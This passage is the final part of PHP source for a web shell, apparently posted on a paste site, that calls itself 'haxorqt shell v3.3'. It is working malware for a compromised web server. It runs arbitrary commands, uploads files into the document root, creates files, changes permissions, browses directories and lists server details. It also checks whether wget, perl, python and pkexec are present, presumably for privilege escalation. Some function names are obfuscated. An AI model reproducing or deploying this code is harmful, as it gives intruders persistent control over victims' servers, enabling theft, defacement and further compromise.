  685.         echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>Changed Successfully!!</font></center></td></table>";
  686.         } else {
  687.             echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change!!</font></center></td></table>";
  688.         }
  689.       }exit();
  690. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "chmod") {
  691.     $files = basename($_POST['path']);
  692.     $sbr = 'substr'; $spr = 'sprintf'; $flperm = 'fileperms';
  693.       echo "<table class='directory-listing-table'><td>
  694.      <center><font color='#fff'>Filename : <font color='orange'>$files</font> (".$sbr($spr('%o',$flperm($_POST['path'])), -4).")<br><br>
  695.      <form method='post'>
  696.      <div class='input-group mb-3' style='width:230px;'>
  697.    <input type='text' name='mod1' class='form-control' maxlength='4' height='10' value='".$_POST['mod1']."' placeholder='0644' required/>
  698.    <input type='hidden' name='path' value='".$_POST['path']."'>
  699.    <input type='hidden' name='pilih' value='chmod'>
  700.    <br><br><button type='submit' class='btn btn-outline-light mb-1' name='ganti' value='ganti'>Change</button></div>
  701.    </form></td></table>";
  702.     if (isset($_POST['ganti'])) {
  703.       $opet = @chmod($_POST['path'], octdec($_POST['mod1']));
  704.     if ($opet == true) {
  705.         echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>Changed Successfully!!</font></center></td></table>";
  706.         } else {
  707.             echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change!!</font></center></td></table>";
  708.         }
  709.       }exit();
  710. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
  711.     unzip($_POST['path'], $serlok);
  712.  
  713. } elseif ($_REQUEST[net('upload')] == "opet") {
  714.     echo "<table class='directory-listing-table'><td><center>
  715.    <form method='POST' enctype='multipart/form-data' id='upload'><h5><i class='fa fa-upload'></i> UPLOAD FILES<h5>
  716.    <div class='input-group' style='width:360px;'>
  717.    <input type='file' name='haxorqtfile' id='haxorqt' style='background-color: grey;' class='form-control' name='uplod'>
  718.    <input type='submit' class='btn btn-outline-light' for='inputGroupFile02' name='uplod' value='Upload'></div>
  719.              </form></center></td></table>";
  720.      if (isset($_POST['uplod'])) {
  721.         if ($_POST['dirnya'] == "2") {
  722.             $serlok = $_SERVER['DOCUMENT_ROOT'];
  723.         }
  724.         if (empty($_FILES['haxorqtfile']['name'])) {
  725.             echo "<br><table class='directory-listing-table' style='border-color:orange;'><td><font color='orange'><center><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> File not selected</center></font>";
  726.         } else {
  727.             $data = @file_put_contents($serlok."/".$_FILES['haxorqtfile']['name'], @file_get_contents($_FILES['haxorqtfile']['tmp_name']));
  728.                 if (file_exists($serlok."/".$_FILES['haxorqtfile']['name'])) {
  729.                     $fl = $serlok."/".$_FILES['haxorqtfile']['name'];
  730.                     echo "<br><table class='directory-listing-table' style='border-color:lime;'><td>
  731.                    Uploaded => <font color='lime'><i>".$_FILES['haxorqtfile']['name']."</i></font><br>";
  732.                     if (strpos($serlok, $_SERVER['DOCUMENT_ROOT']) !== false) {
  733.                         $lwb = str_replace($_SERVER['DOCUMENT_ROOT'], $web."/", $fl);
  734.                         echo "Link : <a href='".$lwb."' target='_blank'><font color='lime'>Click here</font></a></td></table><br>";
  735.                     }
  736.                     echo "<br>";
  737.                 } else {
  738.                     echo "<br><table class='directory-listing-table' style='border-color:red;'><td><font color='red'><center>There was an error uploading your file.</font></td></table>";
  739.             }
  740.         }
  741.     }exit();
  742.  
  743. } elseif ($_GET[net('cmd')] == "opet") {
  744.     echo "<table class='directory-listing-table'><td>";
  745.     echo '<br><form method="post"><center>
  746.    <div class="input-group" style="width:600px;">
  747.    <span class="input-group-text mb-1">Command :</span>
  748.     <input type="text" class="form-control" name="komen" id="comandnya" value="'.$_POST['komen'].'" placeholder="uname -a" required>
  749.    <button type="submit" name="comandeks" value="execute" class="btn btn-outline-light mb-1">>></button></div></form><br><center>';
  750.     if (isset($_POST['comandeks'])) {
  751.         ekse($_POST['komen'], $serlok);
  752.     }
  753.     echo "</center></td></table><br></center>";
  754.     exit();
  755. } elseif ($_REQUEST[net('about')] == "opet") {
  756.     echo "<table class='directory-listing-table'><thead><td><div style='font-family: Bungee Outline;font-size:24px;'>
  757.    <img class='crot' src='https://i.pinimg.com/564x/84/0e/4c/840e4c57fab2ba6279b377ae8dc333d3.jpg'/> Priv shell uwu edition</div><hr>
  758.    <br> - haxorqt shell v3.3 <br> - Created by haxorqt</td></thead></table>"; exit();
  759. } elseif ($_REQUEST[net('buatfile')] == "opet") {
  760.     function createfile(){
  761.         $pat = $_GET['path'];
  762.         $nama_file = $_POST['nama_file'];
  763.         $isi_file = $_POST['isi_file'];
  764.         $handle = fopen("$pat/$nama_file", 'w');
  765.         $files = $_GET['path']."/".$nama_file;
  766.         $asu = str_replace($_SERVER['DOCUMENT_ROOT'], $web. "", $files);
  767.         if (fwrite($handle, $isi_file)) {
  768.             echo '<table class="directory-listing-table" style="border-color:lime;"><td>Created =>&nbsp;<font color="lime">'.$pat.'/'.$nama_file.'<br></font>Link : <a href="'.$asu.'" target="_blank"><font color="aqua"><i>Click here</i></a></font></td></table>';
  769.         } else {
  770.             echo '<table class="directory-listing-table" style="border-color:red;"><td><font color=red><i class="fa fa-exclamation-triangle" aria-hidden="true"></i> Failed to create file..!!</font></script></td></table>';
  771.         }
  772.     } if(!isset($_POST['bikin'])) {
  773.         echo "<center><table class='directory-listing-table'><td width='12%''>
  774.    <form method='POST'>
  775.        <input type='text' value='file.php' placeholder='Nama File' style='width: 525px;' name='nama_file' autocomplete='off'><br><br>
  776.        <textarea name='isi_file' rows='20' cols='100' placeholder='Hello World!'></textarea><br>
  777.        <button type='sumbit' class='btn btn-outline-light' style='width:200px; height:36px;' height:30;' name='bikin'>CREATE</button>&nbsp;
  778.        <a href='?path=".$serlok."' class='btn btn-outline-light'>Back</a><br>
  779.    </form></center>";
  780.         } else {
  781.             createfile();
  782.         }exit();
  783. } elseif ($_GET[net('buatfolder')] == "opet") {
  784.       function createDirectory() {
  785.         if (empty($_POST['add'])) {
  786.         echo '<table class="directory-listing-table" style="border-color:orange;"><td><font color="orange">Folder field is required</font> [<a href="?path='.$_GET['path'].'&'.net("buatfolder").'=opet"><i class="fa-solid fa-folder-plus" aria-hidden="true"></i>Create again</a>]</td></table>';
  787.         } else {
  788.         $add = $_POST["add"];
  789.         $haxorqt = mkdir($_GET['path']."/".$add);
  790.         if ($haxorqt == true) {
  791.             echo "<table class='directory-listing-table' style='border-color:lime;'><td>Created =><font color=lime> ".$_GET['path']."/</font><font color='orange'>$add</font><br>
  792.            <a href='?path=".$_GET['path']."/$add'><u>Click Here</u></a></td></table>";
  793.     } else {
  794.             echo "<table class='directory-listing-table' style='border-color:red;'><td><font color=red><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to create folder : $add</font></td></table>";
  795.                 }
  796.         }
  797. }
  798.         if (!isset($_POST['submit'])) {
  799.             echo '<table class="directory-listing-table"><td>
  800.        <form action="" method = "POST"><h5><i class="fa fa-folder-plus"></i> Create Folder</h5><hr><center>
  801.        <div style="width:300px;">
  802.         <input type="text" class="form-control" placeholder="Folder Name" name="add" id="add"/><br></div>
  803.        <button type="submit" class="btn btn-outline-light" name="submit" value="Create directory" style="width:120px;">Create</button>&nbsp;
  804.        <a href="?path='.$serlok.'" class="btn btn-outline-light" style="width:120px;">Back</a><br><br></form></td></table>';
  805.         } else {
  806.             createDirectory();
  807.         }exit();
  808. } elseif ($_REQUEST[net('info')] == "opet") {
  809.     echo "<table class='directory-listing-table' align='center'>
  810.    <div id='content'><tr><td>";
  811.     echo "Server : <font color=orang>".$_SERVER['HTTP_HOST']."</font><br>";
  812.     echo "Server IP : <font color=orange>".ipserv()."</font> &nbsp;<br> Your IP : <font color=orange>".$_SERVER['REMOTE_ADDR']."</font><br>";
  813.     echo "Web Server : <font color='orange'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
  814.     echo "System : <font color='orange'>".php_uname()."</font><br>";
  815.     echo "User : <font color='orange'>".@get_current_user()."&nbsp;</font>( <font color='orange'>".@getmyuid()."</font>)<br>";
  816.     echo "PHP Version : <font color='orange'>".@phpversion()."&nbsp;</font>=><font color='orange'>&nbsp;".php_sapi_name()."</font><br>";
  817.     echo "</tr></td><tr><td>Disable Function : ".$disf."</font>";
  818.     echo "</div></tr></td><tr><td>";
  819.     echo "<hr>Orecle : ";
  820. if (function_exists('oci_connect')) {
  821.         echo "<font color=lime>ON</font>";
  822. } else {
  823.     echo "<font color=red>OFF</font>";
  824.  
  825.     echo "&nbsp;| SSH2 : ";
  826. }
  827.  
  828. if (function_exists('ssh2_connect')) {
  829.     echo "<font color=lime>ON</font>";
  830. } else {
  831.     echo "<font color=red>OFF</font>";
  832.  
  833.     echo "&nbsp;| MySQL : ";
  834. }
  835. if (function_exists("mysql_connect")) {
  836.     echo "<font color=lime>ON</font>";
  837. } else {
  838.     echo "<font color=red>OFF</font>";
  839. }
  840. echo " &nbsp;| cURL : ";
  841. if (function_exists("curl_init")) {
  842.     echo "<font color=lime>ON</font>";
  843. } else {
  844.     echo "<font color=red>OFF</font>";
  845. }
  846. echo " &nbsp;| WGET : ";
  847. if (file_exists("/usr/bin/wget")) {
  848.     echo "<font color=lime>ON</font>";
  849. } else {
  850.     echo "<font color=red>OFF</font>";
  851. }
  852. echo " &nbsp;| Perl : ";
  853. if (file_exists("/usr/bin/perl")) {
  854.     echo "<font color=lime>ON</font>";
  855. } else {
  856.     echo "<font color=red>OFF</font>";
  857. }
  858. echo " &nbsp;| Python : ";
  859. if (file_exists("/usr/bin/python2")) {
  860.     echo "<font color=lime>ON</font>";
  861. } else {
  862.     echo "<font color=red>OFF</font>";
  863. }
  864. $pkexec = (@shell_exec("pkexec --version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
  865.     echo " | PKEXEC : $pkexec<br><br>";
  866.     echo "</tr></td></table><br>";
  867.     exit();
  868.  
  869. }
  870.  
  871.  
  872. if (!is_readable($serlok)) {
  873.     die("<table class='directory-listing-table'><thead><td><center><font color=orange>This directory is unreadable :(</font></center></td></thead></table>");
  874. }
  875.  
  876. echo '<table class="table table-dark table-hover" style="box-shadow: 0 0 20px black;width:90%;border-left:1px solid #ffc107;border-right:1px solid #ffc107;border-bottom:1px solid #ffc107;--bs-border-radius:80rem;" align="center">
  877. <thead style="--bs-table-bg:#ffc107;--bs-table-color:#000;"><tr>
  878. <th><center>Name</center></th>
  879. <th><center>Size</center></th>
  880. <th><center>Last Modified</center></th>
  881. <th><center>Owner</center></th>
  882. <th><center>Permissions</center></th>
  883. <th><center>Actions</center></th>
  884. </tr></thead><center>';
  885. $scd = "\163\143"."\141\156\144"."\151\162";
  886. if(is_readable($serlok)){
  887.             $fetch=$scd($serlok);
  888.             $serlokbos=array();
  889.             $filez=array();
  890.             foreach($fetch as $fols){
  891.                 if($fols=='.'||$fols=='..'){
  892.                     continue;
  893.                 }
  894.                     $haxorqts=$serlok.'/'.$fols;
  895.                     if(is_dir($haxorqts)){
  896.                         array_push($serlokbos,$fols);
  897.                     }elseif(is_file($haxorqts)){
  898.                         array_push($filez,$fols);
  899.                     }
  900.                 }
  901.             }
  902. foreach($serlokbos as $dir){
  903.     echo "<tr>
  904.    <td><i class='fa fa-folder' style='color: #FAA625'></i> <a href=\"?path=".$serlok."/".$dir."\">".$dir."</a></td>
  905.    <td><center>Dir</center></td>
  906.    <td><center>".filedate($serlok."/".$dir)."</center></td>
  907.    <td>".owner($serlok."/".$dir)."</td>
  908.    <td><center>";
  909.     if(is_writable($serlok."/".$dir)) echo '<font color="lime">';
  910.     elseif(!is_readable($serlok."/".$dir)) echo '<font color="red">';
  911.     echo statusnya($serlok."/".$dir);
  912.     if(is_writable($serlok."/".$dir) || !is_readable($serlok."/".$dir)) echo '</font>';
  913.  
  914.     echo "</center></td>
  915.    <td><center><form method=\"POST\" action=\"?pilihan&path=$serlok\">
  916.    <div class='btn-group me-2' role='group' aria-label='First group'>
  917.    <button type='submit' class='btn btn-outline-secondary badge-action-rename' name='pilih' value='gantinama'>
  918.    <i class='fa fa-pencil' style='color: #fff'></i></button>
  919.    <button type='submit' class='btn btn-outline-secondary badge-action-chmod' name='pilih' value='chmodf'><i class='fa fa-gear' style='color: #06D2D5'></i></button>
  920.    <button type='submit' class='btn btn-outline-secondary badge-action-tanggal' name='pilih' value='chdatef'><i class='fa fa-calendar' style='color: #5654F5'></i></button>
  921.    <button type='submit' class='btn btn-outline-secondary badge-action-delete' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #E53A3A'></i></button></div>
  922.    <input type=\"hidden\" name=\"type\" value=\"dir\">
  923.    <input type=\"hidden\" name=\"name\" value=\"$dir\">
  924.    <input type=\"hidden\" name=\"path\" value=\"$serlok/$dir\">
  925.    </form></center></td>
  926.    </tr>";
  927. }
  928.  
  929. foreach($filez as $file) {
  930.     if(!is_file("$serlok/$file")) continue;
  931.         $size = filesize("$serlok/$file")/1024;
  932.         $size = round($size,3);
  933.         if($size >= 1024){
  934.         $size = '<font color="aqua">'.round($size/1024,2).'</font> MB';
  935.     } else {
  936.         $size = '<font color="#E6F01C">'.$size.'</font> KB';
  937.     }
  938. echo "<tr>
  939. <td>".cekfile($serlok."/".$file)."
  940. <a href=\"?viewfile=".$serlok."/$file&path=".$serlok."\">$file</a></td>
  941. <td><center>".$size."</center></td>
  942. <td><center>".filedate($serlok."/".$file)."</center></td>
  943. <td>".owner($serlok."/".$file)."</td>
  944. <td><center>";
  945. if(is_writable("$serlok/$file")) echo '<font color="lime">';
  946. elseif(!is_readable("$serlok/$file")) echo '<font color="red">';
  947. echo statusnya("$serlok/$file");
  948. if(is_writable("$serlok/$file") || !is_readable("$serlok/$file")) echo '</font>';
  949. echo "</center></td><td><center>
  950. <form method='post' action='?pilihan&path=$serlok'>
  951. <div class='btn-group' role='group' aria-label='First group'>";
  952. echo gazz($file);
  953. echo "</div><input type=\"hidden\" name=\"type\" value=\"file\">
  954. <input type=\"hidden\" name=\"name\" value=\"$file\">
  955. <input type=\"hidden\" name=\"path\" value=\"$serlok/$file\">
  956. </form></center></td></tr>";
  957. }
  958. echo '</tr></td></table></table>';
  959. author();
  960.  
  961. function statusnya($file){
  962. $izin = substr(sprintf('%o', fileperms($file)), -4);
  963. return $izin;
  964. }
  965. ?>
  966. </body>
  967. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement